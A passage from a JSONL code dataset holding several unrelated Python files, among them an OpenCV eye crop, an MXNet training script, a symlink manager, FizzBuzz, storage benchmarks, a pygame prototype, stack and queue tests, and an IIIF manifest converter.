from face\n eyeTop = int(1/6.0*face_height)\n eyeBottom = int(3/6.0*face_height)\n print(\"Eye Height between : {},{}\".format(eyeTop,eyeBottom))\n \n eye_roi = face_roi[eyeTop:eyeBottom,:]\n \n # Resize the eye region to a fixed size of 96x32\n cropped = cv2.resize(eye_roi,(96, 32), interpolation = cv2.INTER_CUBIC)\n \n return cropped\n","sub_path":"Course1/week8/cropEyeRegion.py","file_name":"cropEyeRegion.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"215249464","text":"# -*- coding: utf-8 -*-\nimport pandas as pd\nimport numpy as np\n\n# データを読み込む\ndf = pd.read_csv('train.csv')\n\n# 2番目以降の列が文章、最初の列がクラス\nX = df.iloc[:,1:].values\nY = df.iloc[:,0].values\n\n# 単語IDの最大値\nmax_word = np.amax(X)\n\n# Apache MXNetのデータにする\nfrom mxnet import nd\nX = nd.array(X)\n\n# Apache MXNetを使う準備\nfrom mxnet import autograd\nfrom mxnet import cpu\nfrom mxnet.gluon import Trainer\nfrom mxnet.gluon.loss import SoftmaxCrossEntropyLoss\n\n# モデルをインポートする\nimport chapt05model\n\n# モデルを作成する\nmodel = chapt05model.get_model(max_word)\nmodel.initialize(ctx=[cpu(0),cpu(1),cpu(2),cpu(3)])\n\n# カテゴリを文字列からIDにする\nY = chapt05model.get_label(Y)\n# Apache MXNetのデータにする\nY = nd.array(Y)\n\n# 学習アルゴリズムを設定する\ntrainer = Trainer(model.collect_params(),'adam')\nloss_func = SoftmaxCrossEntropyLoss()\n\n# 機械学習を開始する\nprint('start training...')\nbatch_size = 100\nepochs = 8\nloss_n = [] # ログ表示用の損失の値\nfor epoch in range(1, epochs + 1):\n\t# ランダムに並べ替えたインデックスを作成\n\tindexs = np.random.permutation(X.shape[0])\n\tcur_start = 0\n\twhile cur_start < X.shape[0]:\n\t\t# ランダムなインデックスから、バッチサイズ分のウィンドウを選択\n\t\tcur_end = (cur_start + batch_size) if (cur_start + batch_size) < X.shape[0] else X.shape[0]\n\t\tdata = X[indexs[cur_start:cur_end]]\n\t\tlabel = Y[indexs[cur_start:cur_end]]\n\t\t# ニューラルネットワークを順伝播\n\t\twith autograd.record():\n\t\t\toutput = model(data)\n\t\t\t# 損失の値を求める\n\t\t\tloss = loss_func(output, label)\n\t\t\t# ログ表示用に損失の値を保存\n\t\t\tloss_n.append(np.mean(loss.asnumpy()))\n\t\t# 損失の値から逆伝播する\n\t\tloss.backward()\n\t\t# 学習ステータスをバッチサイズ分進める\n\t\ttrainer.step(batch_size, ignore_stale_grad=True)\n\t\tcur_start = cur_end\n\t# ログを表示\n\tll = np.mean(loss_n)\n\tprint('%d epoch loss=%f...'%(epoch,ll))\n\tloss_n = []\n\n# 学習結果を保存\nmodel.save_params('chapt05.params')\n\n","sub_path":"Source/chapt05/chapt05-2.py","file_name":"chapt05-2.py","file_ext":"py","file_size_in_byte":2129,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"389184352","text":"\"\"\"Emanate symbolic link manager.\n\nEmanate is a command-line utility and Python library for managing symbolic\nlinks in a fashion similar to Stow or Effuse.\n\nGiven a `source` and `destination` directory, Emanate can create or remove\nsymbolic links from the destination to each file in the source, mirroring\nthe directory structure and creating directories as needed.\n\"\"\"\n\nfrom collections import namedtuple\nfrom fnmatch import fnmatch\nfrom pathlib import Path\nimport sys\nfrom . import config\n\n# Expose `emanate.version.__version__` as `emanate.__version__`.\nfrom .version import __version__ # noqa: F401\n\n\n#: Emanate's maintainer.\n__author__ = \"Ellen Marie Dash\"\n\n# __version__ is defined in version.py.\n\n\nclass FilePair(namedtuple('FilePair', ['src', 'dest'])):\n \"\"\"Pairs of source/destination file paths.\"\"\"\n\n def print_add(self):\n \"\"\"Print a message when creating a link.\"\"\"\n print(\"{!r} -> {!r}\".format(str(self.src), str(self.dest)))\n\n def print_del(self):\n \"\"\"Print a message when deleting a link.\"\"\"\n print(\"{!r}\".format(str(self.dest)))\n\n def del_symlink(self):\n \"\"\"Delete a link.\"\"\"\n if self.dest.samefile(self.src):\n self.dest.unlink()\n\n return not self.dest.exists()\n\n def add_symlink(self):\n \"\"\"Add a link.\"\"\"\n self.dest.symlink_to(self.src)\n return self.src.samefile(self.dest)\n\n\nclass Execution(list):\n \"\"\"Describe an Emanate execution.\n\n Callable once, useful to provide \"dry-run\"\n functionality or report changes back to the user.\n \"\"\"\n\n def __init__(self, func, printer, iterable):\n \"\"\"Prepare an Emanate execution.\"\"\"\n self.func = func\n self.printer = printer\n super().__init__(iterable)\n\n def run(self):\n \"\"\"Run a prepared execution.\"\"\"\n for args in self:\n if self.func(args):\n self.printer(args)\n\n def dry(self):\n \"\"\"Print a dry-run of an execution.\"\"\"\n for args in self:\n self.printer(args)\n\n\nclass Emanate:\n \"\"\"Provide the core functionality of Emanate.\n\n This class is configurable at initialization-time, by passing it a number\n of configuration objects, supporting programmatic use (from a configuration\n management tool, for instance) as well as wrapping it in a human interface\n (see emanate.main for a simple example).\n \"\"\"\n\n def __init__(self, *configs, src=None):\n \"\"\"Construct an Emanate instance from configuration dictionaries.\n\n The default values (as provided by config.defaults()) are implicitly\n the first configuration object; latter configurations override earlier\n configurations (see config.merge).\n \"\"\"\n self.config = config.merge(\n config.defaults(src),\n *configs,\n )\n self.dest = self.config.destination.resolve()\n\n @staticmethod\n def _is_dir(path_obj):\n \"\"\"Check whether a given path is a directory, but never raise an\n exception (such as Path(x).is_dir() may do).\n \"\"\"\n try:\n return path_obj.is_dir()\n except OSError:\n return False\n\n def valid_file(self, path_obj):\n \"\"\"Check whether a given path is covered by an ignore glob.\n\n As a side effect, if the path is a directory, it is created\n in the destination directory.\n \"\"\"\n path = str(path_obj.absolute())\n ignore_patterns = []\n for pattern in self.config.ignore:\n ignore_patterns.append(pattern)\n # If it's a directory, also ignore its contents.\n if Emanate._is_dir(pattern):\n ignore_patterns.append(pattern / \"*\")\n\n if any(fnmatch(path, str(pattern)) for pattern in ignore_patterns):\n return False\n\n if path_obj.is_dir():\n dest_path = self.dest / path_obj.relative_to(self.config.source)\n dest_path.mkdir(exist_ok=True)\n return False\n\n return True\n\n def confirm_replace(self, dest_file):\n \"\"\"Prompt the user before replacing a file.\n\n The prompt is skipped if the `confirm` configuration option is False.\n \"\"\"\n prompt = \"{!r} already exists. Replace it?\".format(str(dest_file))\n\n if not self.config.confirm:\n return True\n\n result = None\n while result not in [\"y\", \"n\", \"\\n\"]:\n print(\"{} [Y/n] \".format(prompt), end=\"\", flush=True)\n result = sys.stdin.read(1).lower()\n\n return result != \"n\"\n\n def _add_symlink(self, pair):\n _, dest = pair\n\n # If the file exists and _isn't_ the symbolic link we're\n # trying to make, prompt the user to determine what to do.\n if dest.exists():\n # If the user said no, skip the file.\n if not self.confirm_replace(dest):\n return False\n Emanate.backup(dest)\n\n return pair.add_symlink()\n\n @staticmethod\n def backup(dest_file):\n \"\"\"Rename the file so we can safely write to the original path.\"\"\"\n new_name = str(dest_file) + \".emanate\"\n dest_file.rename(new_name)\n\n def _files(self):\n all_files = Path(self.config.source).glob(\"**/*\")\n for file in filter(self.valid_file, all_files):\n src = file.absolute()\n dest = self.dest / file.relative_to(self.config.source)\n yield FilePair(src, dest)\n\n def create(self):\n \"\"\"Create symbolic links.\"\"\"\n # Ignore files that are already linked.\n gen = filter(lambda p: not (p.dest.exists() and p.src.samefile(p.dest)),\n self._files())\n\n return Execution(self._add_symlink,\n FilePair.print_add,\n gen)\n\n def clean(self):\n \"\"\"Remove symbolic links.\"\"\"\n # Skip non-existing files.\n gen = filter(lambda p: p.dest.exists(), self._files())\n\n return Execution(FilePair.del_symlink,\n FilePair.print_del,\n gen)\n","sub_path":"emanate/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":6036,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"48531526","text":"'''\nFizz Buzz\n2020_12_1\nTime: O(n)\nSpace: O(n)\n思考流程:\n1.先進行公倍數的判斷,餘數為0則為其倍數\n2.用else if來避免重複判斷\n\n修改:往後若多一個倍數這樣原本的方法(下者),會要多輸入很多公倍數問題\n因此用個字串來直接加長,不必再多設條件\n'''\nclass Solution:\n def fizzBuzz(self, n: int) -> List[str]:\n ans = []\n for i in range(1, n+1):\n Str = \"\"\n if not i%3 : Str += \"Fizz\"\n if not i%5 : Str += \"Buzz\"\n if len(Str) > 0:\n ans += [Str]\n else:\n ans += [\"%d\" %i]\n return ans\n\n'''\nclass Solution:\n def fizzBuzz(self, n: int) -> List[str]:\n ans = []\n for i in range(1,n+1):\n if not i % 15:\n ans += [\"FizzBuzz\"]\n elif not i % 3:\n ans += [\"Fizz\"]\n elif not i % 5:\n ans += [\"Buzz\"]\n else:\n ans += [\"%d\" %i]\n return ans\n'''","sub_path":"Easy/FizzBuzz.py","file_name":"FizzBuzz.py","file_ext":"py","file_size_in_byte":1031,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"382937942","text":"import numpy as np\nimport pandas as pd\nimport pyarrow.parquet as pq\nimport pyarrow as pa\nfrom os import listdir\nfrom os.path import isfile, join, splitext\nimport time\nimport os.path\nimport feather\nimport re\nimport h5py\nimport datetime\nimport gc\nimport csv\n\n\n\n\n\n\"\"\"\n===================================== Read Select All ==============================================\n\"\"\"\n\ndef scanAllCSV(filepath):\n start = time.time() \n with open(filepath,'rb') as csvfile:\n data = pd.read_csv(csvfile)\n end = time.time()\n readtime = end - start\n return(readtime)\n\ndef scanAllFeather(filepath):\n start = time.time()\n data = feather.read_dataframe(filepath) \n end = time.time()\n readtime = end - start\n return(readtime)\n\ndef scanAllHDF5(filepath):\n start = time.time()\n data = h5py.File(filepath,'r')\n dataset = data['patient_01']\n dataset = dataset[:,0:len(dataset)]\n end = time.time()\n readtime = end - start\n data.close()\n return(readtime)\n\ndef scanAllParquet(filepath):\n start = time.time()\n data = pd.read_parquet(filepath, engine='pyarrow')\n end = time.time()\n readtime = end - start\n return(readtime)\n\n\"\"\"\n=========================================== Read a range of data from files ===========================================\n\"\"\"\ndef readRangeCSV(filepath):\n start = time.time()\n with open(filepath,'rb') as csvfile:\n data = pd.read_csv(csvfile)\n data = data.set_index('time')\n dataset = data['2015-01-09 15:51:36.99':'2015-01-09 18:38:06.99']\n end = time.time()\n readtime = end - start\n return(readtime)\n\n\ndef readRangeFeather(filepath):\n start = time.time()\n data = feather.read_dataframe(filepath)\n data = data.set_index('timestamp')\n dataset = data['2015-01-09 15:51:36':'2015-01-09 18:38:06']\n end = time.time()\n readtime = end - start\n return(readtime)\n\ndef readRangeHDF5(filepath):\n start = time.time()\n data = h5py.File(filepath,'r')\n dataset = data['patient_01']\n dataset = dataset[:,0:len(dataset)]\n print(dataset)\n data.close()\n\n\n\n\ndef runbench(path,readMethod):\n arr = []\n for i in range(0,30):\n time = readMethod(path)\n arr.append(time)\n print(arr)\n\n\n#runbench(\"/da/MSD/accel/mengjfi1/read_datasets/digitalrom_fether.feather\",readRangeFeather)\n\nreadRangeHDF5(\"/da/MSD/accel/mengjfi1/read_datasets/actibelt_hdf5.hdf5\")\n\n\n\n\n","sub_path":"Latex-FM-Master Thesis /Master Thesis - Novartis Sources/bench_sources/read_benchmark.py","file_name":"read_benchmark.py","file_ext":"py","file_size_in_byte":2234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"212048344","text":"# This is the proper version that I'm working on!\n# Everything is also commented for better editing with others.\n# Classes can be moved to new files and then imported if wish\n# Current key binds\n\"\"\"\nESC | Quit Game\nW | Jump\nA | Move left\nD | Move Right\nSPACE | Shoot\n\"\"\"\nimport pygame as pi, glob\n\nclass Blocks(pi.sprite.Sprite):\n def __init__(self, image):\n super(Blocks, self).__init__()\n self.image = pi.transform.scale(pi.image.load(image), (dp.get(\"height\") // len(maps.mapFiles[maps.currentMap]), dp.get(\"height\") // len(maps.mapFiles[maps.currentMap])))\n self.rect = self.image.get_rect()\n\n def set_pos(self, x, y):\n self.rect.x = x\n self.rect.y = y\n\n def move(self, x_speed):\n self.X_direct += x_speed\n\n def update(self):\n self.rect.x += self.X_direct\n\n def set_img(self, image):\n self.image = pi.image.load(image)\n\n def draw(self):\n screen.blit(self.image, self.rect)\nclass Load:\n def __init__(self):\n self.maps = glob.glob(\"levels/*.map\")\n self.mapFiles = []\n self.currentMap = 0\n\n for file in self.maps:\n self.mapFiles.append([])\n f = open(file)\n for line in f:\n self.mapFiles[-1].append([])\n for character in line:\n if character != \"\\n\":\n self.mapFiles[-1][-1].append(character)\n\n# Class variables that is taken from pygame sprite library\nclass Player(pi.sprite.Sprite):\n def __init__(self):\n # Creates all of the pygame sprite standard properties\n super(Player, self).__init__()\n # Image based on passed width and height\n self.image = pi.transform.scale(pi.image.load(\"img/rocketchair05r.png\"), (dp.get(\"height\") // len(maps.mapFiles[maps.currentMap]), dp.get(\"height\") // len(maps.mapFiles[maps.currentMap]) * 2))\n # Position tracking using pygame rect taking in from the image properties\n self.rect = self.image.get_rect()\n\n # Loads sound effect\n self.sound = pi.mixer.Sound(\"sounds/effects/jump.wav\")\n\n self.Y_direct = 0\n self.X_direct = 0\n self.jumpHeight = 0\n self.maxJump = 3\n\n # Used to allow for smoother movement\n def move(self, y_speed, x_speed):\n self.Y_direct += y_speed\n self.X_direct += x_speed\n\n def update(self, collidable, speed, mapMoveBlocks):\n for block in mapMoveBlocks:\n block.rect.x += self.X_direct\n # Gets all of the collided blocks with the player block and puts it into a list called collidables\n collision_list = pi.sprite.spritecollide(self, collidable, False)\n for collided_obj in collision_list:\n if self.X_direct > 0:\n self.rect.right = collided_obj.rect.left\n elif self.X_direct < 0:\n self.rect.left = collided_obj.rect.right\n\n if self.jumpHeight > dp.get(\"height\") // len(maps.mapFiles[maps.currentMap]) * self.maxJump:\n self.rect.y += dp.get(\"height\") // len(maps.mapFiles[maps.currentMap]) // 5\n self.jumpHeight -= dp.get(\"height\") // len(maps.mapFiles[maps.currentMap]) // 5\n else:\n if len(collision_list) == 0:\n self.rect.y += dp.get(\"height\") // len(maps.mapFiles[maps.currentMap]) // 5\n if self.Y_direct > 0:\n self.jumpHeight = dp.get(\"height\") // len(maps.mapFiles[maps.currentMap]) * self.maxJump\n\n collision_list = pi.sprite.spritecollide(self, collidable, False)\n\n for collided_obj in collision_list:\n if self.Y_direct > 0:\n self.rect.bottom = collided_obj.rect.top\n elif self.Y_direct < 0:\n self.rect.top = collided_obj.rect.bottom\n\n # Here for the peps to use, updates the player position\n def set_pos(self,x ,y):\n # Redefine x\n self.rect.x = x\n # Redefine y\n self.rect.y = y\n\n # Plays sound effect\n def play(self):\n self.sound.play()\n\n def draw(self):\n screen.blit(self.image, self.rect)\n\npi.init()\n\n# Game is relative to user's display, so I use these\ndisplayInfo = pi.display.Info()\ndp = {\n \"width\" : displayInfo.current_w,\n \"height\" : displayInfo.current_h\n}\n\n# Load all levels into maps variable\nmaps = Load()\n\n# Set display\nscreen = pi.display.set_mode((dp.get(\"width\"), dp.get(\"height\")))\npi.display.set_caption(\"Rocket Trump\")\n\n# FPS Limiter Variables\nclock = pi.time.Clock()\nfps = 90\n\n# Create a group for blocks\ndrawables = pi.sprite.Group()\n# Create block\nplayer = Player()\n\ncollidable_objects = pi.sprite.Group()\nmapMoveBlocks = pi.sprite.Group()\n\ndef remap():\n global dp\n currentX = 0\n currentY = 0\n print(dp)\n for map in range (len(maps.mapFiles)):\n constant = dp.get(\"height\") // len(maps.mapFiles[maps.currentMap])\n for line in range (len(maps.mapFiles[map])):\n for character in range (len(maps.mapFiles[map][line])):\n converted = maps.mapFiles[map][line][character]\n if converted == \" \":\n pass\n elif converted == \"x\" or converted == \"t\":\n if converted == \"t\":\n maps.mapFiles[map][line][character] = Blocks(\"img/wallfloat01.png\")\n else:\n maps.mapFiles[map][line][character] = Blocks(\"img/wall01.png\")\n maps.mapFiles[map][line][character].set_pos(currentX, currentY)\n collidable_objects.add(maps.mapFiles[map][line][character])\n mapMoveBlocks.add(maps.mapFiles[map][line][character])\n if currentX == 0:\n pass\n if map == maps.currentMap:\n drawables.add(maps.mapFiles[map][line][character])\n currentX += constant\n currentX = 0\n currentY += constant\n\n\n# Variable that kills program\nrunning = True\n\nspeed = 1\n\n# Converts the text arrays into objects\nremap()\ncurrentMap = 0\n\n# Main Loop\nwhile running:\n # Event Handler\n # Code below made by Ricky\n for event in pi.event.get():\n if event.type == pi.QUIT:\n running = False\n if event.type == pi.KEYDOWN:\n if event.key == pi.K_SPACE:\n print(\"space key pressed\")\n\n # Kill program when ESC key is pressed\n if event.key == pi.K_ESCAPE:\n print(\"User requested to kill program by pressing ESC\")\n running = False\n # Key movement, - when moving up and to the left, + when moving down and to the right\n if event.key == pi.K_a:\n player.move(0, speed)\n if event.key == pi.K_d:\n player.move(0, -1 * speed)\n if event.key == pi.K_w:\n player.move(-1 * speed , 0)\n if event.key == pi.K_s:\n player.move(speed, 0)\n\n if event.type == pi.KEYUP:\n if event.key == pi.K_a:\n player.move(0, -1 * speed)\n if event.key == pi.K_d:\n player.move(0, speed)\n if event.key == pi.K_w:\n player.move(speed , 0)\n if event.key == pi.K_s:\n player.move(-1 * speed, 0)\n # End of work by Ricky\n\n player.update(collidable_objects, speed, mapMoveBlocks)\n\n # Draw all blocks on screen\n screen.fill((255, 255, 255))\n for sprite in drawables:\n if sprite.rect.x > -50 and sprite.rect.x < dp.get(\"width\"):\n sprite.draw()\n\n player.draw()\n # Equiv of flip, updates the display\n pi.display.flip()\n\n # FPS Limiter\n clock.tick(fps)\n\npi.quit()\nexit()","sub_path":"V3.2 TestBed.py","file_name":"V3.2 TestBed.py","file_ext":"py","file_size_in_byte":7752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"408473093","text":"\"\"\"\n QueueProcessor is used to process queues.\n Do note that the processing of actual jobs is done in `queue_handler`.\n\"\"\"\nimport logging\nimport asyncio\nimport traceback\nimport signal\nfrom .controller import get_queue\n\nlogger = logging.getLogger()\n\nWAIT_TIMEOUT = 1 # 1 sec\n\n\nclass QueueProcessor(object):\n\n def __init__(self, queue_name):\n self.__stop_processor = False\n self.queue = get_queue(queue_name)\n\n def stop_processor(self, signum, frame):\n self.__stop_processor = True\n\n def process(self, debug=False):\n signal.signal(signal.SIGTERM, self.stop_processor)\n\n print(\"start listen:\", self.queue.name)\n while True:\n if self.__stop_processor:\n print(\"process canceled by SIGTERM\")\n break\n\n #try:\n job, job_data, writer = self.queue.reserve_job(wait_timeout=WAIT_TIMEOUT)\n # except Exception as e:\n # logger.error(e)\n # traceback.print_exc()\n # continue\n\n if job is None:\n continue\n\n logger.debug('Processing %s', job)\n\n # process the job\n #try:\n result_data = self.queue.execute_handler(job, job_data)\n writer.write(result_data)\n\n #except Exception as e:\n # logger.error(e)\n # traceback.print_exc()\n # continue\n\n\n","sub_path":"libs/simple_worker/queue_processor.py","file_name":"queue_processor.py","file_ext":"py","file_size_in_byte":1429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"372196099","text":"import operator\r\nimport argparse\r\nimport sys\r\n# parsing the args in a manner [keyword] [number] [number]\r\nparser = argparse.ArgumentParser(description='А python-script that performs the standard math functions on the data')\r\nparser.add_argument('function', help='function name')\r\nparser.add_argument('first', help='first number of a problem')\r\nparser.add_argument('second', help='second number of a problem')\r\nargs, unknown = parser.parse_known_args()\r\ntry:\r\n first = float(args.first)\r\n second = float(args.second)\r\nexcept ValueError:\r\n print(\"Wrong type of operands, must be a real number!\")\r\n sys.exit()\r\ndictionary = { # we create a dictionary to swap the keywords for real functions\r\n \"add\": \"operator.add(first, second)\",\r\n \"sub\": \"operator.sub(first, second)\",\r\n \"mul\": \"operator.mul(first, second)\",\r\n \"div\": \"operator.truediv(first, second)\"\r\n}\r\nif args.function in dictionary.keys():\r\n try:\r\n print(eval(dictionary[args.function]))\r\n except ZeroDivisionError:\r\n print(\"Division by zero!\")\r\n sys.exit()\r\nelse:\r\n print('The operator is incorrect') # if the function does not exist in dictionary\r\n\r\n","sub_path":"2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":1163,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"547764397","text":"import pytest\nfrom stacks_and_queues import (\n Node,\n Queue,\n Stack,\n EmptyQueueException,\n EmptyStackException,\n)\n\n\n# Node tests\n\n\n@pytest.mark.parametrize(\"value\", [(\"Python\")])\ndef test_create_node(value):\n \"\"\"A Stack and Queue node can be created.\"\"\"\n\n node = Node(value)\n assert node.value == value\n assert node.next == None\n\n\n# Stack tests\n\n\ndef test_create_stack(stack):\n \"\"\"A Stack can be created.\"\"\"\n\n assert stack.top == None\n\n\n@pytest.mark.parametrize(\"value_a\", [(\"Python\")])\ndef test_stack_push_while_empty(stack, value_a):\n \"\"\"A node can be added to an empty stack.\"\"\"\n\n stack.push(value_a)\n assert stack.top.value == value_a\n assert stack.top.next == None\n\n\n@pytest.mark.parametrize(\"value_a,value_b\", [(\"Python\", \"Language\")])\ndef test_stack_push_while_not_empty(stack, value_a, value_b):\n \"\"\"A node can be added to a non-empty stack.\"\"\"\n\n stack.push(value_a)\n stack.push(value_b)\n assert stack.top.value == value_b\n assert isinstance(stack.top.next, Node)\n assert stack.top.next.value == value_a\n assert stack.top.next.next == None\n\n\ndef test_stack_is_empty_while_empty(stack):\n \"\"\"A stack is empty.\"\"\"\n\n assert stack.is_empty() == True\n\n\n@pytest.mark.parametrize(\"value\", [(\"Python\")])\ndef test_stack_is_empty_while_not_empty(stack, value):\n \"\"\"A stack isn't empty.\"\"\"\n\n stack.push(value)\n assert stack.is_empty() == False\n\n\ndef test_stack_pop_while_empty(stack):\n \"\"\"Removing from an empty stack returns an exception.\"\"\"\n\n try:\n stack.pop()\n except EmptyStackException:\n assert True\n\n\n@pytest.mark.parametrize(\"value\", [(\"Python\")])\ndef test_stack_pop_while_not_empty(stack, value):\n \"\"\"Remove node from a non-empty stack.\"\"\"\n\n stack.push(value)\n node_value = stack.pop()\n assert value == node_value\n assert stack.top == None\n\n@pytest.mark.parametrize(\"value_a,value_b\", [(\"Python\", \"Language\")])\ndef test_stack_pop_until_empty(stack, value_a, value_b):\n \"\"\"Pop a stack until empty.\"\"\"\n\n stack.push(value_a)\n stack.push(value_b)\n stack.pop()\n stack.pop()\n assert stack.top == None\n\n\ndef test_stack_peek_while_empty(stack):\n \"\"\"Can't see the top value of a stack with no values.\"\"\"\n\n try:\n stack.peek()\n except EmptyStackException:\n assert True\n\n\n@pytest.mark.parametrize(\"value\", [(\"Python\")])\ndef test_stack_peek_while_not_empty(stack, value):\n \"\"\"See the top value of a stack.\"\"\"\n\n stack.push(value)\n node_value = stack.peek()\n assert value == node_value\n\n\n# Queue tests\n\n\ndef test_create_queue(queue):\n \"\"\"A Queue can be created.\"\"\"\n\n assert queue.front == None\n assert queue.rear == None\n\n\n@pytest.mark.parametrize(\"value\", [(\"Python\")])\ndef test_queue_enqueue_while_empty(queue, value):\n \"\"\"Add to an empty queue.\"\"\"\n\n queue.enqueue(value)\n assert queue.front.value == value\n assert queue.front.next == None\n assert queue.rear.value == value\n assert queue.rear.next == None\n\n\n@pytest.mark.parametrize(\"value_a,value_b\", [(\"Python\", \"Language\")])\ndef test_queue_enqueue_while_one_node(queue, value_a, value_b):\n \"\"\"Add to a queue with one node.\"\"\"\n\n queue.enqueue(value_a)\n queue.enqueue(value_b)\n assert queue.front.value == value_a\n assert isinstance(queue.front.next, Node)\n assert queue.rear.value == value_b\n assert queue.rear.next == None\n\n\n@pytest.mark.parametrize(\"value_a,value_b,value_c\", [(\"Python\", \"Language\", \"Shell\")])\ndef test_queue_enqueue_while_two_node(queue, value_a, value_b, value_c):\n \"\"\"Add to a queue with two nodes.\"\"\"\n\n queue.enqueue(value_a)\n queue.enqueue(value_b)\n queue.enqueue(value_c)\n\n assert queue.front.value == value_a\n assert isinstance(queue.front.next, Node)\n assert queue.rear.value == value_c\n assert queue.rear.next == None\n\n\ndef test_queue_is_empty_while_empty(queue):\n \"\"\"An empty queue is empty.\"\"\"\n\n assert queue.is_empty()\n\n\n@pytest.mark.parametrize(\"value\", [(\"Python\")])\ndef test_queue_is_empty_while_not_empty(queue, value):\n \"\"\"A non-empty queue isn't empty.\"\"\"\n\n queue.enqueue(value)\n assert not queue.is_empty()\n\n\ndef test_queue_dequeue_while_empty(queue):\n \"\"\"Can't remove from an empty queue.\"\"\"\n\n try:\n queue.dequeue()\n except EmptyQueueException:\n assert True\n\n\n@pytest.mark.parametrize(\"value\", [(\"Python\")])\ndef test_queue_dequeue_with_one_node(queue, value):\n \"\"\"Remove from a queue with one node.\"\"\"\n\n queue.enqueue(value)\n node_value = queue.dequeue()\n assert node_value == value\n assert queue.front == None\n assert queue.rear == None\n\n\n@pytest.mark.parametrize(\"value_a,value_b\", [(\"Python\", \"Language\")])\ndef test_queue_dequeue_with_two_nodes(queue, value_a, value_b):\n \"\"\"Remove from a queue with two nodes.\"\"\"\n\n queue.enqueue(value_a)\n queue.enqueue(value_b)\n node_value = queue.dequeue()\n assert node_value == value_a\n assert queue.front.value == value_b\n assert queue.front.next == None\n assert queue.rear.value == value_b\n assert queue.rear.next == None\n\n@pytest.mark.parametrize(\"value_a,value_b\", [(\"Python\", \"Language\")])\ndef test_queue_dequeue_until_empty(queue, value_a, value_b):\n \"\"\"Remove from a queue until empty.\"\"\"\n\n queue.enqueue(value_a)\n queue.enqueue(value_b)\n queue.dequeue()\n queue.dequeue()\n assert queue.front == None\n assert queue.rear == None\n\ndef test_queue_peek_while_empty(queue):\n \"\"\"An empty queue has no value.\"\"\"\n\n try:\n queue.peek()\n except EmptyQueueException:\n assert True\n\n\n@pytest.mark.parametrize(\"value\", [(\"Python\")])\ndef test_queue_peek_while_not_empty(queue, value):\n \"\"\"A non-empty queue has a value at the front.\"\"\"\n\n queue.enqueue(value)\n node_value = queue.peek()\n assert node_value == value\n\n\n# Fixtures\n\n\n@pytest.fixture\ndef stack():\n \"\"\"Return a Stack instance for testing.\"\"\"\n\n return Stack()\n\n\n@pytest.fixture\ndef queue():\n \"\"\"Return a Queue instnace for testing.\"\"\"\n\n return Queue()\n","sub_path":"python/challenges/stacks_and_queues/test_stacks_and_queues.py","file_name":"test_stacks_and_queues.py","file_ext":"py","file_size_in_byte":6019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"251123557","text":"#!/usr/bin/python2.7\n# in2iiif.py by Tanya Gray Jones [tanya.gray@bodleian.ox.ac.uk]\n# This is a transformation script for various formats to IIIF API Manifest version 2.0\n\nfrom factory import ManifestFactory\nimport ConfigParser\nimport ast\nimport argparse\nimport os.path\nimport sys\n\ndef main(): pass\n\nclass One:\n \"\"\"One class (Borg design pattern) making class attributes global.\"\"\"\n \n _shared_state = {} # Attribute dictionary\n\n def __init__(self):\n self.__dict__ = self._shared_state # Make it an attribute dictionary\n \n \nclass GlobalConfig(One): # inherits from the One class\n \"\"\"GlobalConfig class shares all its attributes among its various instances.\"\"\"\n # GlobalConfig objects are an object-oriented form of global variables\n \n def __init__(self, **kwargs):\n One.__init__(self)\n # Update the attribute dictionary by inserting new key-value pair(s) defined in argument\n self._shared_state.update(kwargs)\n \n def __setitem__(self, key, value):\n # Update the attribute dictionary by inserting a new key-value pair or updating value of existing key-value pair\n self._shared_state[key] = value\n \n def __getitem__(self, key):\n # Returns a value in the dictionary using a key, or None if key not found\n value = self._shared_state.get(key, None) \n return value \n \n def __str__(self):\n # Returns the attribute dictionary for printing\n return str(self._shared_state)\n \n \nclass In2iiif():\n \"\"\"Base class for transformation of various formats to IIIF.\"\"\"\n def __init__(self, **kwargs):\n \n arg = GlobalConfig() # instantiate GlobalConfig class to hold global variables\n \n def setFactoryProperties(self, fac):\n \"\"\"Sets the ManifestFactory Factory properties.\"\"\"\n arg = GlobalConfig() # instantiate GlobalConfig class to hold global variables\n \n # set attributes for ManifestFactory instance\n try:\n fac.set_base_metadata_uri(arg.manifest_uri + arg.manifest_id) # Where the resources live on the web\n fac.set_base_metadata_dir(arg.manifest_base_metadata_dir) # Where the resources live on disk\n fac.set_base_image_uri(arg.manifest_base_image_uri) # Default Image API information\n fac.set_iiif_image_info(arg.manifest_iiif_image_info_version,arg.manifest_iiif_image_info_compliance) # Version, ComplianceLevel\n fac.set_debug(arg.debug) \n except:\n print(\"You need to ensure the following parameters are set in the configuration file: base_metadata_dir, base_image_uri, iiif_image_info_version, iiif_image_info_compliance, debug.\")\n \n def setManifestProperties(self, manifest):\n \"\"\"Sets the ManifestFactory Manifest's properties.\"\"\"\n # instance of global variables\n arg = GlobalConfig()\n # set ManifestFactory manifest description and viewing direction using global variables\n manifest.description = arg.manifest_description\n manifest.viewingDirection = arg.manifest_viewingDirection\n \n def setCanvasProperties(self, cvs, img):\n \"\"\"Sets the ManifestFactory Canvas properties.\"\"\"\n cvs.height = img.height\n cvs.width = img.width\n \n def setImageProperties(self, img, imagefile):\n \"\"\"Sets the ManifestFactory Image properties.\"\"\" \n\n if os.path.isfile(imagefile) == True:\n img.set_hw_from_file(imagefile) \n else:\n print('The image file does not exist: ' + imagefile )\n sys.exit(0) \n \n \n \n # OR if you have a IIIF service:\n # img.set_hw_from_iiif()\n \n def parseConfig(self):\n \"\"\"Parses configuration file and adds values to GlobalConfig attribute dictionary\"\"\"\n \n arg = GlobalConfig() # instance of GlobalConfig \n config = ConfigParser.ConfigParser() # instance of config file parser\n \n 